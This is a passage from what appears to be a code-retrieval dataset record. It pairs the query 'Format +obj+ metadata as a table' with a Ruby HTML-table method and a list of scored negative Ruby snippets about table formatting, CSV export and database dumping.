"def index; end",
"def index; end",
"def index; end"
] | [
"0.7581115",
"0.7085274",
"0.69342494",
"0.66503674",
"0.6550457",
"0.6513609",
"0.6435873",
"0.63384014",
"0.63214314",
"0.628524",
"0.6247826",
"0.62302375",
"0.6215779",
"0.6195686",
"0.6191556",
"0.61650985",
"0.6163107",
"0.6147718",
"0.61047316",
"0.60825545",
"0.6070926",
"0.60394925",
"0.60330474",
"0.6025197",
"0.60031056",
"0.60031056",
"0.59985137",
"0.5989121",
"0.5986344",
"0.59775454",
"0.5974016",
"0.59629333",
"0.5951622",
"0.59366095",
"0.5905188",
"0.5895953",
"0.58922076",
"0.5889347",
"0.5887198",
"0.588599",
"0.5873058",
"0.5859009",
"0.58584964",
"0.5854616",
"0.58509594",
"0.5840595",
"0.58371353",
"0.5827445",
"0.5821242",
"0.5820895",
"0.58194536",
"0.5815605",
"0.5813247",
"0.57944864",
"0.5792249",
"0.57891226",
"0.57890135",
"0.5787216",
"0.5782192",
"0.57794577",
"0.57774043",
"0.57773256",
"0.57753956",
"0.5768739",
"0.57557344",
"0.57495505",
"0.5743147",
"0.57395685",
"0.5736138",
"0.5733292",
"0.57292134",
"0.5727953",
"0.57277775",
"0.572641",
"0.5718756",
"0.5716432",
"0.5716432",
"0.5716432",
"0.5716432",
"0.5716432",
"0.5716432",
"0.5716432",
"0.5716432",
"0.5716432",
"0.5716432",
"0.57118654",
"0.5709994",
"0.5709113",
"0.57069993",
"0.5706245",
"0.57058406",
"0.57058406",
"0.57058406",
"0.57058406",
"0.57058406",
"0.57058406",
"0.57058406",
"0.57058406",
"0.57058406",
"0.57058406"
] | 0.73654836 | 1 |
Format +obj+ metadata as a table | def format_metadata(obj)
'<table class="table table-sm table-responsive">' +
obj.metadata.data.map do |k, v|
case k
when /^run_/, :plugins, :user
next
when :web_assembly_gz
v = "<a href='#{v}'>#{v[0..50]}...</a>"
when :datasets
v = v.size
end
"<tr><td class='text-right pr-4'><b>#{format_name(k)}</b></td>" \
"<td>#{v}</td></tr>"
end.compact.join('') +
'</table>'
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def table_row(obj, out_mode, depth)\n row = []\n variables = out_mode == :full ? obj.class::FIELDS_FULL : obj.class::FIELDS_SUMMARY\n variables.each do |var|\n val = obj.instance_variable_get(\"@#{var}\")\n val = val[0..32] if out_mode == :summary # Shorten data for summary - BRUTE FORCE - should be neater\n row << val\n end\n if depth == :deep\n # Deep! So check the connection, do a search and attach the new column/row\n row << deep_data(obj)\n end\n row\n end",
"def color_table(*obj)\n colors = obj.map do |vals|\n attr = {}\n vals = vals.strip.split(\"\\n\").map do |val|\n val.gsub(/RGB|HEX|CMYK|Pantone/i, '').strip\n end\n\n attr[:name] = vals.shift\n\n vals.each do |val|\n next if val.empty?\n case val\n when /#[0-9a-fA-F]{3,6}/ then attr[:hex] = val\n when /(\\d+\\D+){3}\\d+/ then attr[:cmyk] = val\n when /(\\d+\\D+){2}\\d+/ then attr[:rgb] = val\n else attr[:pantone] = val\n end\n end\n\n attr\n end\n\n format_color_table colors\n end",
"def prettify(obj)\n # Most look best with pretty_inspect\n str = obj.pretty_inspect\n # Mashes need to be first converted to Hashes then pretty_inspect\n if obj.kind_of? Mash\n str = obj.to_hash.pretty_inspect\n end\n # For Arrays, pretty_inspect displays one value per line which\n # uses up too much real estate\n if obj.kind_of? Array\n str = obj.inspect\n end\n # Manually format Hashes so keys and values each display in columns\n if obj.kind_of? Hash\n key_length = 0\n obj.keys.each do |key|\n key_length = key.length if key.length > key_length\n end\n buf = []\n obj.each do |key,value|\n buf << sprintf(\"%-#{key_length}.#{key_length}s => %s\", key, value)\n end\n str = buf.join(\"\\n\")\n end\n str\n end",
"def EXCEL_TABLE(objects, *arguments)\n DebugTable.new(objects, arguments, :tsv)\n end",
"def dump_table(io, table_obj)\n create_data = table_obj.data.clone\n create_data.delete(:name)\n create_data[:return_sql] = true\n\n # Get SQL for creating table and add it to IO.\n sqls = @export_db.tables.create(table_obj.name, **create_data)\n sqls.each do |sql|\n io.write(\"#{sql};\\n\")\n end\n\n\n # Try to find a primary column in the table.\n prim_col = nil\n table_obj.columns do |col|\n if col.primarykey?\n prim_col = col\n break\n end\n end\n\n\n debug \"Dumping data for table: #{table_obj.name}\"\n\n # Set up rows and way to fill rows.\n rows = []\n\n\n @db.select(table_obj.name, nil, unbuffered: true) do |row|\n rows << row\n @rows_count += 1\n\n if rows.length >= 1000\n update_status\n dump_insert_multi(io, table_obj, rows)\n end\n end\n\n\n # Dump the last rows if any.\n dump_insert_multi(io, table_obj, rows) unless rows.empty?\n end",
"def TXT_TABLE(objects, *arguments)\n DebugTable.new(objects, arguments, :txt)\n end",
"def object_csv(hash, namespaces)\n namespace = hash.dig(\"metadata\", \"namespace\")\n team, repo = namespace_team_repo(namespace, namespaces)\n\n [\n hash.fetch(\"kind\"),\n hash.fetch(\"apiVersion\"),\n hash.dig(\"metadata\", \"name\"),\n namespace,\n team,\n repo\n ].join(\", \")\nend",
"def format_list\n config = TABLE[@vobject][:columns]\n CLIHelper::ShowTable.new do\n column :DATACENTER,\n 'Object datacenter',\n :size => config[:DATACENTER] || 15 do |d|\n d[:datacenter]\n end\n\n column :IMID, 'identifier for ...', :size=>config[:IMID] || 4 do |d|\n d[:import_id]\n end\n\n column :REF, 'ref', :left, :adjust, :size=>config[:REF] || 15 do |d|\n d[:ref] || d[:cluster_ref]\n end\n\n column :NAME, 'Name', :left, :expand,\n :size=>config[:NAME] || 20 do |d|\n d[:name] || d[:simple_name]\n end\n\n column :CLUSTERS, 'CLUSTERS', :left,\n :size=>config[:CLUSTERS] || 10 do |d|\n d = d[:clusters] if d[:clusters]\n d[:one_ids] || d[:cluster].to_s\n end\n\n column :PATH, 'PATH', :left, :expand,\n :size=>config[:PATH] || 10 do |d|\n d[:path]\n end\n\n default(*config.keys)\n end\n end",
"def format_object(obj)\n if obj.kind_of? Exception\n return \"Caught #{obj.class}: #{obj.message}\\n\\t\" +\n (obj.backtrace.nil? ? [] : obj.backtrace[0...@depth]).join(\"\\n\\t\")\n elsif obj.kind_of? String\n return obj\n else # inspect the object\n return \"#{obj.class}: #{obj.inspect}\"\n end\n end",
"def dump_table(io, table_obj)\n #Get SQL for creating table and add it to IO.\n sqls = @args[:db].tables.create(table_obj.name, table_obj.data, :return_sql => true)\n sqls.each do |sql|\n io.write(\"#{sql};\\n\")\n end\n \n \n #Try to find a primary column in the table.\n prim_col = nil\n table_obj.columns do |col|\n if col.primarykey?\n prim_col = col\n break\n end\n end\n \n \n #Set up rows and way to fill rows.\n rows = []\n block_data = proc do |row|\n rows << row\n @rows_count += 1\n \n if rows.length >= 1000\n self.update_status\n self.dump_insert_multi(io, table_obj, rows)\n end\n end\n \n \n #If a primary column is found then use IDQuery. Otherwise use cloned unbuffered query.\n args = {:idquery => prim_col.name.to_sym} if prim_col\n \n \n #Clone the connecting with array-results and execute query.\n @args[:db].clone_conn(:result => \"array\") do |db|\n db.select(table_obj.name, nil, args, &block_data)\n end\n \n \n #Dump the last rows if any.\n self.dump_insert_multi(io, table_obj, rows) if !rows.empty?\n end",
"def show(obj)\n y(obj.send(\"column_names\"))\nend",
"def show(obj)\n y(obj.send(\"column_names\"))\nend",
"def schema(obj)\n y(obj.send(\"column_names\"))\nend",
"def generate_tabular_report(filename, ostream)\n file = File.read(filename)\n data_hash = JSON.parse(file)\n rpt_data = transform(data_hash)\n rpt_data.keys.each do |name|\n ostream.puts\n ostream.puts name\n tbl = create_resources_table(rpt_data[name]['resources'])\n tbl.each do |r|\n ostream.puts r.join(\"\\t\")\n end\n end\nend",
"def inspect\n to_table.render :ascii\n end",
"def print_table_t(objects, *method_names)\n terminal_width = `tput cols`.to_i\n cols = objects.count + 1 # Label column\n col_width = (terminal_width / cols) - 1 # Column spacing\n\n Array(method_names).map do |method_name|\n cells = objects.map { |o| o.send(method_name).inspect }\n cells.unshift(method_name)\n\n puts cells.map { |cell| cell.to_s.ljust(col_width) }.join \" \"\n end\n nil\nend",
"def table_specific_items(objects)\n @tableheadings, @tablecolumncount = objects[0].table_headings\n @tablerow = tablerow_array(objects)\n @tablerowcount = @tablerow.count\n end",
"def <<(obj)\n if obj.is_a?(String) || obj.is_a?(Integer)\n td = Table::Row::Data.new(obj.to_s)\n super(td)\n else\n expect(obj, [Data, Header])\n end\n super(obj)\n end",
"def to_table\n headers = fields.map { |field| field.label.downcase }\n body = fields.map { |field| field.to_s.downcase }\n\n [headers, body]\n end",
"def logs_table(obj, args = {})\n html = args[:out] || $stdout\n\n html << \"<table class=\\\"list hayabusa_log_table\\\">\"\n html << \"<thead>\"\n html << \"<tr>\"\n html << \"<th>ID</th>\"\n html << \"<th>Message</th>\"\n html << \"<th style=\\\"width: 130px;\\\">Date & time</th>\"\n html << \"<th>Tag</th>\"\n html << \"<th>Objects</th>\" if args[:ob_use]\n html << \"<th>IP</th>\" if args[:show_ip]\n html << \"</tr>\"\n html << \"</thead>\"\n html << \"<tbody>\"\n\n count = 0\n @ob.list(:Log_link, {\"object_class\" => obj.class.name, \"object_id\" => obj.id, \"limit\" => 500, \"orderby\" => [[\"id\", \"desc\"]]}) do |link|\n count += 1\n log = link.log\n\n msg_lines = log.text.split(\"\\n\")\n first_line = msg_lines[0].to_s\n\n classes = [\"hayabusa_log\", \"hayabusa_log_#{log.id}\"]\n classes << \"hayabusa_log_multiple_lines\" if msg_lines.length > 1\n\n html << \"<tr class=\\\"#{classes.join(\" \")}\\\">\"\n html << \"<td>#{log.id}</td>\"\n html << \"<td>#{first_line.html}</td>\"\n html << \"<td>#{log.date_saved_str}</td>\"\n html << \"<td>#{log.tag.html}</td>\"\n\n if args[:ob_use]\n begin\n html << \"<td>#{log.objects_html(args[:ob_use])}</td>\"\n rescue => e\n html << \"<td>#{e.message.html}</td>\"\n end\n end\n\n html << \"<td>#{log.ip}</td>\" if args[:show_ip]\n html << \"</tr>\"\n end\n\n if count <= 0\n html << \"<tr>\"\n html << \"<td colspan=\\\"2\\\" class=\\\"error\\\">No logs were found for that object.</td>\"\n html << \"</tr>\"\n end\n\n html << \"</tbody>\"\n html << \"</table>\"\n\n return nil\n end",
"def table_data(objects, *arguments)\n rows = [[*arguments]]\n\n rows += flatten_uniq(objects).map do |obj|\n arguments.map do |argument|\n begin\n obj = obj.query if obj.respond_to?(:query)\n if argument.respond_to?(:call)\n obj.instance_eval(&argument)\n else\n obj.instance_eval(argument.to_s)\n end\n rescue => e\n 'error'\n end\n end\n end\n\n rows\n end",
"def get_table(object)\n raise NotImplementedError, \"Subclasses must implement private method get_table\"\n end",
"def to_table\n @doc.make_table(data, table_options)\n end",
"def format_result(obj)\n formatted_str = \"\\n\\nSearch Results: \\n\\n\"\n obj.each do |key, value|\n unless key == \"_id\"\n\t key_str = key.capitalize\n\t if value.kind_of?(Array)\n\t\t \tformatted_str << key_str << \": \"\n\t\t \tvalue.each do |var|\n\t\t \t\tformatted_str << var.to_s << ((var == value.last) ? \"\" : \",\")\n\t\t \tend\n\t\t \tformatted_str << \"\\n\"\n\t elsif value.is_a?(Hash)\n\t\t formatted_str << key_str << \": \" << \"\\n\"\n\t\t value.each do |var_key, var_value|\n\t\t formatted_str << \"\\t\" << var_key << \":\" << var_value << \"\\n\"\n\t\t end\n\t else\n\t\t formatted_str << key_str << \": \" << value.to_s << \"\\n\"\n\t end\n\t end\n end\n formatted_str\n end",
"def to_table\n mortadella = Mortadella::Horizontal.new headers: %w[NAME LOCATION]\n @tags.keys.sort.each do |tag_name|\n mortadella << [tag_name, @tags[tag_name].to_sentence]\n end\n mortadella.table\n end",
"def summary_table_headers(args={})\n\t\t'''\n\t\t\t<thead>\n\t <tr>\n\t <th>Created At</th>\n\t <th>Payable To Organization Id</th>\n\t <th>Payable From Organization Id</th>\n\t <th>Payable From Patient Id</th>\n\t <th>Total</th>\n\t <th>Paid</th>\n\t <th>Pending</th>\n\t <th>Options</th>\n\t </tr>\n\t </thead>\n\t\t'''\n\tend",
"def export_table export_obj\n @export_obj = export_obj\n\n ExportMetadata.record(:table => @export_obj.table_name,\n :database => @export_obj.source_schema,\n :export_to => load_to,\n :export_id => @export_obj.id,\n :filepath => filepath,\n :store_in => @export_obj.s3_path,\n :incremental_col => @export_obj.incremental_column) do |metadata|\n\n prepare metadata\n\n if (@export_obj.export_type? == :new && load_to == \"mysql\") || load_to == \"mysql\"\n on_failure_state_trans(metadata, \"new\") # If failed, go back to new\n on_export_success(metadata)\n initial_export metadata\n elsif @export_obj.export_type? == :incremental || load_to == \"vertica\"\n on_failure_state_trans(metadata, \"failed\") # Set state trans on failure\n on_export_success(metadata)\n incremental_export_into_outfile metadata\n end\n\n end # metadata\n end",
"def convert_to_csv(obj_array)\n CSV.generate(headers: true) do |csv|\n csv << obj_array.first.keys\n\n obj_array.each do |object|\n csv << object.values\n end\n end\n end",
"def print_object(issues)\n if issues.nil?\n raise \"nil issue\"\n end\n if !issues.is_a? Array\n issues = [issues]\n end\n\n count = issues.length\n if issues.empty?\n return \"0 rows returned\"\n end\n\n table = Terminal::Table.new do |t|\n if @set_width\n width, height = HighLine::SystemExtensions.terminal_size\n t.style = {:width => width}\n end\n header = []\n sorted_fields = sort_fields(filter_fields(issues.first.keys))\n sorted_fields.each do |key|\n h = key.to_s.capitalize\n h = h.blue if @color\n header << h\n end\n\n t << header\n t << :separator\n\n issues.each do |hash|\n row = []\n sorted_fields.each do |key|\n row << format_field(hash, key)\n end\n t << row\n end\n end.to_s + \"#{count} rows returned\"\n end",
"def model_headerleft(obj, options=Hash.new)\n begin\n display = obj.class::DISPLAY_ATTRIBUTES\n rescue NameError\n end\n display = options[:only].map {|key| key.to_s} if options[:only]\n display = obj.attributes.map {|key,value| key} if display == nil\n display.delete_if {|key| options[:except].include?(key.to_sym)} if options[:except]\n retval = \"\"\n display.each do |field|\n # Process the value\n value = obj.send(field.to_sym)\n if field[-3..-1] == \"_id\"\n begin\n klass = field[0..-4]\n helper_method_ref = klass + \"_headerleft\"\n alt_obj = obj.send(klass.to_sym)\n value = obj.send(klass.to_sym).name\n\n begin\n value = self.send(helper_method_ref.to_sym, alt_obj)\n rescue NameError\n end\n rescue NoMethodError\n end\n end\n\n if value.kind_of?(Array)\n response_ary = []\n value.each do |val|\n helper_method_ref = val.class.to_s.underscore+\"_headerleft\"\n begin\n response_ary << self.send(helper_method_ref.to_sym, val)\n rescue NameError\n response_ary << val.name\n end\n end\n value = response_ary.join \", \"\n end\n\n if value.kind_of?(Time) || value.kind_of?(Date)\n if value > Date.new(1950,1,1)\n # When a date is too long ago, time_ago_in_words falls apart. In early 2008, this was a date in 1901. I'm cutting off any possibility of problems for the next 50 years by going with 1950 instead.\n value = \"#{time_ago_in_words(value)} ago (#{value.to_date.to_s(:long)})\"\n else\n value = value.to_date.to_s(:long)\n end\n end\n if value.kind_of?(String) && (value[0..6] == \"http://\" || value[0..7] == \"https://\")\n value = link_to(value, value)\n end\n\n retval += field_fmt(field.humanize, value, field) + \"\\n\"\n end\n retval\n end",
"def print_objects\n @header_object.each_pair do |key,val|\n puts \"#{key}: #{val[0]} #{val[1]} #{val[2]}\"\n end\n end",
"def to_table\n result = Mortadella::Horizontal.new headers: @commit_attributes, dry: %w[BRANCH LOCATION]\n main_commits = @commits.delete 'main'\n main_commits.try(:keys).try(:each) do |sha|\n main_commits[sha]['LOCATION'] = main_commits[sha]['LOCATION'].to_sentence\n result << main_commits[sha].values\n end\n @commits.values.each do |branch_commits|\n branch_commits.values.each do |commit|\n commit['LOCATION'] = commit['LOCATION'].to_sentence\n result << commit.values\n end\n end\n result.table\n end",
"def build_hash(obj, formatted)\n obj.each_with_object({}) do |(key, value), new_obj|\n new_obj[key] = formatted[value]\n end\n end",
"def format_obj( obj )\n case obj\n when Exception\n hash = {\n :class => obj.class.name,\n :message => obj.message\n }\n hash[:backtrace] = obj.backtrace if backtrace? && obj.backtrace\n\n cause = format_cause(obj)\n hash[:cause] = cause unless cause.empty?\n hash\n when Time\n iso8601_format(obj)\n else\n obj\n end\n end",
"def versioned_attributes_from_object(object)\n self.class.versioned_columns.inject({}){|attrs, col| attrs[col] = object.send(col); attrs }\n end",
"def vertical_row(obj, depth)\n row = []\n variables = obj.class::FIELDS_FULL\n variables.each do |var|\n val = obj.instance_variable_get(\"@#{var}\")\n row << [var, val]\n end\n if depth == :deep\n row << ['Deep', deep_data(obj)]\n end\n row\n end",
"def table(header, values, io = $stdout)\n self.puts(io, MiGA.tabulate(header, values, self[:tabular]))\n end",
"def parse_table(object_entry)\n if object_entry.custom_map and @type_items[object_entry.custom_map.type] == \"com.apple.notes.ICTable\"\n object_entry.custom_map.map_entry.each do |map_entry|\n case @key_items[map_entry.key]\n when \"crTableColumnDirection\"\n #puts \"Column Direction: #{object_entrys[map_entry.value.object_index]}\"\n when \"crRows\"\n parse_rows(@table_objects[map_entry.value.object_index])\n when \"crColumns\"\n parse_columns(@table_objects[map_entry.value.object_index])\n when \"cellColumns\"\n parse_cell_columns(@table_objects[map_entry.value.object_index])\n end\n\n # If we know how many rows and columns we have, we can initialize the table\n initialize_table if (@total_columns > 0 and @total_rows > 0 and @reconstructed_table.length < 1)\n end\n\n # We need to reverse the table if it is right to left\n if @table_direction == RIGHT_TO_LEFT_DIRECTION\n @reconstructed_table.each do |row|\n row.reverse!\n end\n end\n end\n end",
"def attributes\n table = terminal_table do |t|\n t.title = name.upcase\n t.add_row [\"Price USD:\", \"$#{price_usd}\"]\n t.add_row [\"Price BTC:\", \"#{price_btc}\"]\n t.add_row [\"Market Cap USD:\", \"$#{market_cap_usd}\"]\n t.add_row [\"Change Last 24h:\", \"#{percent_change_24h}%\"]\n t.add_row [\"Last Updated:\", \"#{Time.at(last_updated_unix.to_i)}\"]\n t.style = { all_separators: true, width: 60 }\n end\n puts table\n end",
"def from_nested_object(obj_, field_opts_=[], opts_={})\n ::NTable.from_nested_object(obj_, field_opts_, opts_)\n end",
"def format_results(obj)\n o = ''\n obj.each_result do |key, res|\n links = format_result_links(res)\n stats = format_result_stats(res)\n next unless links || stats\n name = format_name(key)\n url_doc =\n 'http://manual.microbial-genomes.org/part5/workflow#' +\n key.to_s.tr('_', '-')\n o += <<~CARD\n <div class=\"col-md-6 mb-4\">\n <h3>#{name}</h3>\n <div class='border-left p-3'>\n #{stats}\n #{links}\n </div>\n <div class='border-top p-2 bg-light'>\n <a target=_blank href=\"#{url_doc}\" class='p-2'>Learn more</a>\n </div>\n </div>\n CARD\n end\n \"<div class='row'>#{o}</div>\"\n end",
"def fetch_attributes(obj:)\n attrs = {}\n attrs[:fixed_by] = obj[\"FixedBy\"] if obj[\"FixedBy\"].present?\n attrs[:link] = obj[\"Link\"] if obj[\"Link\"].present?\n attrs[:metadata] = obj[\"Metadata\"] if obj[\"Metadata\"].present?\n attrs[:severity] = obj[\"Severity\"] if obj[\"Severity\"].present?\n attrs[:description] = obj[\"Description\"] if obj[\"Description\"].present?\n attrs\n end",
"def create_table objects, columns, title, date_param = nil, nosort = false\n\t\tcurr_user = current_user\n\t\n\t\tid_to_names = [\"trip_id\",\"destination_id\",\"bus_id\"]\n\t\ttimes = [\"depart_time\",\"arrive_time\",\"return_time\"]\n\t\tdates = [\"date\",\"start\",\"expiry\",\"offset_date\",\"start_date\",\"end_date\",\"created_at\",\"updated_at\"]\n\t\tno_management = [\"permissions\", \"roles\"]\n\t\tmanagement_headers = [\"updated_by\",\"created_at\",\"updated_at\"]\n\t\t\n\t\thtml = \"\"\n\t\thtml << '<h1>'.html_safe\n\t\thtml << title\n\t\t\n\t\thtml << '</h1>'.html_safe\n\t\t\n\t\thtml << '<table class=\"admin_table\">'.html_safe\n\t\t\n\t\thtml << '<tr class=\"tr_header\">'.html_safe\n\t\tcolumns.each do |col|\n\t\t\t\n\t\t\tcol_title = col\n\t\t\t\n\t\t\tif col.include? '_id' then col_title = col.split('_id')[0] end\n\t\t\t\n\t\t\tif management_headers.include? col\n\t\t\t\tif curr_user.has_permission? :management\n\t\t\t\t\thtml << '<th>'.html_safe\n\t\t\t\t\tif !nosort \n\t\t\t\t\t\thtml << sort_table(col, col_title.humanize, date_param).html_safe\n\t\t\t\t\telse\n\t\t\t\t\t\thtml << col_title.humanize\n\t\t\t\t\tend\n\t\t\t\t\thtml << '</th>'.html_safe\n\t\t\t\tend\n\t\t\telse\n\t\t\t\thtml << '<th>'.html_safe\n\t\t\t\tif !nosort \n\t\t\t\t\thtml << sort_table(col, col_title.humanize, date_param).html_safe\n\t\t\t\telse\n\t\t\t\t\thtml << col_title.humanize\n\t\t\t\tend\n\t\t\t\thtml << '</th>'.html_safe\n\t\t\tend\n\t\t\t\n\t\tend\n\t\t\n\t\t# Show Column\n\t\thtml << '<th></th>'.html_safe\n\t\t\n\t\t# Edit Column\n\t\tif (curr_user.has_permission? :admin) || (!(no_management.include? objects[0].class.name.tableize) && (curr_user.has_permission? :management))\n\t\t\thtml << '<th></th>'.html_safe\n\t\tend\n\t\t\n\t\t# Destroy Column\n\t\tif curr_user.has_permission? :admin\n\t\t\thtml << '<th></th>'.html_safe\n\t\tend\n\t\t\n\t\thtml << '</tr>'.html_safe\n\t\t\n\t\ti = 0\n\t\tobjects.each do |obj|\n\t\t\tif i.even?\n\t\t\t\thtml << '<tr class=\"tr_alt_1\">'.html_safe\n\t\t\telse\n\t\t\t\thtml << '<tr class=\"tr_alt_2\">'.html_safe\n\t\t\tend\n\t\t\t\tcolumns.each do |col|\n\t\t\t\t\t\n\t\t\t\t\tif id_to_names.include? col\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\tcol = col.split('_id')[0]\n\t\t\t\t\t\thtml << (link_to obj.send(col).id.to_s + \": \" + obj.send(col).name, obj.send(col)).html_safe\n\t\t\t\t\telsif col == \"user_id\" || col == \"updated_by\"\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\tcol = col.split('_id')[0]\n\t\t\t\t\t\tif obj.send(col)\n\t\t\t\t\t\t\thtml << (link_to obj.send(col).userid, obj.send(col)).html_safe\n\t\t\t\t\t\tend\n\t\t\t\t\telsif col == \"id\"\n\t\t\t\t\t\thtml << '<td class=\"td_links\">'.html_safe\n\t\t\t\t\t\thtml << obj.send(col).to_s\n\t\t\t\t\telsif col == \"weekday\"\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\thtml << Date::DAYNAMES[obj.send(col)]\n\t\t\t\t\telsif times.include? col\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\thtml << obj.send(col).strftime(\"%I:%M %p\")\n\t\t\t\t\telsif dates.include? col\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\thtml << obj.send(col).strftime(\"%B %d, %Y\")\n\t\t\t\t\telsif col.include? \"_id\"\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\tcol = col.split('_id')[0]\n\t\t\t\t\t\tif obj.send(col)\n\t\t\t\t\t\t\thtml << (link_to obj.send(col).id.to_s, obj.send(col)).html_safe\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\thtml << obj.send(col).to_s\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\thtml << '</td>'.html_safe\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Show Column\n\t\t\t\thtml << '<td class=\"td_links\">'.html_safe\n\t\t\t\thtml << (link_to \"Show\", obj).html_safe\n\t\t\t\thtml << '</td>'.html_safe\n\t\t\t\t\n\t\t\t\t# Edit Column\n\t\t\t\tif (curr_user.has_permission? :admin) || (!(no_management.include? objects[0].class.name.tableize) && (curr_user.has_permission? :management))\n\t\t\t\t\thtml << '<td class=\"td_links\">'.html_safe\n\t\t\t\t\thtml << (link_to \"Edit\", \"/\" + obj.class.name.tableize + \"/\" + obj.id.to_s + \"/edit\").html_safe\n\t\t\t\t\thtml << '</td>'.html_safe\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Destroy Column\n\t\t\t\tif curr_user.has_permission? :admin\n\t\t\t\t\thtml << '<td class=\"td_links\">'.html_safe\n\t\t\t\t\thtml << (link_to \"Destroy\", obj, :confirm => 'Are you sure?', :method => :delete).html_safe\n\t\t\t\t\thtml << '</td>'.html_safe\n\t\t\t\tend\n\t\t\n\t\t\thtml << '</tr>'.html_safe\n\t\t\ti = i + 1\n\t\tend\n\t\t\n\t\thtml << '</table>'.html_safe\n\t\t\n\t\thtml.html_safe\n\tend",
"def unshift(obj)\n if obj.is_a?(String) || obj.is_a?(Integer)\n td = Table::Row::Data.new(obj.to_s)\n super(td)\n else\n expect(obj, [Data, Header])\n end\n super(obj)\n end",
"def tabularize(data, ios=nil)\n fmt = $cfg['tool.outformat']\n ios = $stdout if ios.nil?\n cols = nil\n rows = nil\n title = nil\n if data.kind_of?(Hash) then\n cols = data[:headers] if data.has_key?(:headers)\n rows = data[:rows] if data.has_key?(:rows)\n title = data[:title]\n elsif data.kind_of?(Array) then\n rows = data\n elsif data.respond_to?(:to_a) then\n rows = data.to_a\n elsif data.respond_to?(:each) then\n rows = []\n data.each{|i| rows << i}\n else\n error \"Don't know how to tabularize data.\"\n return\n end\n if fmt =~ /csv/i then\n cols = [] if cols.nil?\n rows = [[]] if rows.nil?\n CSV(ios, :headers=>cols, :write_headers=>(not cols.empty?)) do |csv|\n rows.each{|v| csv << v}\n end\n else\n # table.\n table = Terminal::Table.new\n table.title = title unless title.nil?\n table.headings = cols unless cols.nil?\n table.rows = rows unless rows.nil?\n ios.puts table\n end\n end",
"def mu_pp(obj)\n if obj.is_a?(ActiveRecord::Base)\n obj.to_s\n else\n super\n end\n end",
"def pry_show_model(object)\n if object.class == Class\n y object.column_names.sort\n else\n y object.class.column_names.sort\n end\n end",
"def inspect\n str = \"#<#{self.class}\"\n\n ids = (Thread.current[InspectKey] ||= [])\n if ids.include?(object_id)\n return str << ' ...>'\n end\n\n ids << object_id\n begin\n first = true\n for k,v in @table\n str << \",\" unless first\n first = false\n str << \" #{k}=#{v.inspect}\"\n end\n return str << '>'\n ensure\n ids.pop\n end\n end",
"def format!\n tables.map { |t|\n SimpleReports::TableFormatter.new(t).format_table!\n }\n end",
"def table_headers\n [\"Description\", \"Qty\", \"VAT\", \"Amount\"]\n end",
"def create_summaries(obj, base_time)\n base_start = base_time\n base_end = base_time + 40.hours\n summaries = {\n :all => obj.summary,\n :all_constrained => obj.summary(base_start ... base_end),\n :wide => obj.summary(base_start - 1.hours ... base_end + 1.hours),\n #TODO: push this farther forward?\n :clipped => obj.summary(base_start + 30.minutes ... base_start + 25.hours),\n :empty => obj.summary(base_start ... base_start),\n }\n\n #TODO: move?\n if obj.respond_to?(:by_command_name)\n summaries[:all_filtered] = obj.by_command_name('vi').summary(base_start ... base_end)\n end\n\n summaries\n end",
"def build_table(patients)\n rows = []\n patients.each do | person |\n rows << [person[:bed_no], person[:hospital_no], person[:first_name], person[:last_name], person [:dob], person[:age], person[:current_diagnosis] ]\n x = person[:medications]\n puts x[:name]\n end\n\n\n table = Terminal::Table.new :rows => rows\n table.title = \"Your Patients for the Day!\"\n table.headings = ['Bed Number', 'Hospital Number', 'First Name', 'Last Name', 'D.O.B', 'Age', 'Current Diagnosis', 'Medications']\n puts table\nend",
"def monolith_table(groups, metadata)\n checkmark = \" <span style='color: limegreen'>✔</span>\"\n\n # TODO: The checkmark crap below needs to be abstracted.\n formatters = {\n 'New' => proc { |f, l| ['', '', l] },\n 'Updated' => proc { |f, l| ['', '', l + (metadata[f]['installed'].any? ? checkmark : '' ) ] },\n 'Renamed' => proc { |f, l| [\"#{metadata[f]['oldname']}\" + (metadata[f]['installed'].any? ? checkmark : '' ), \"→\", l ] }\n }\n\n table = HTML::Table.new do |t|\n t.align = 'center'\n end\n\n groups.each do |group_name, members|\n title = Table::Row.new do |r|\n r.content = ['', '', group_name]\n end\n title.class_ = 'title'\n table.push title\n\n formatter = formatters[group_name]\n\n members.each do |formula|\n content = Table::Row.new do |r|\n link = \"<a href=#{metadata[formula]['homepage']}>#{formula}</a>\"\n r.content = formatter.call(formula, link).push(\n h(metadata[formula]['desc'])\n )\n r.first.class_ = 'name'\n end\n table.push content\n end\n end\n\n table\nend",
"def inspect(format=\"%12.4f\",indent=0)\n indt = \" \" * indent\n s = \"\"\n if @deps[0].kind_of? Table\n @inds.each_index do |i|\n s << indt << format % @inds[i]\n s << \"\\n\"\n s << @deps[i].inspect(format,indent+1)\n s << \"\\n\" if i!=(@inds.size-1)\n end\n else\n s << indt\n @inds.each_index do |i|\n s << format % @inds[i]\n end\n s << \"\\n\"\n s << indt\n @deps.each_index do |i|\n s << format % @deps[i]\n end\n end\n s\n end",
"def inspect_in_object(obj, opts)\n val = obj.send(name)\n str =\n begin\n val.inspect_with_options(opts)\n rescue NoMethodError\n val.inspect\n end\n (f=@format) ? (f % str) : str\n end",
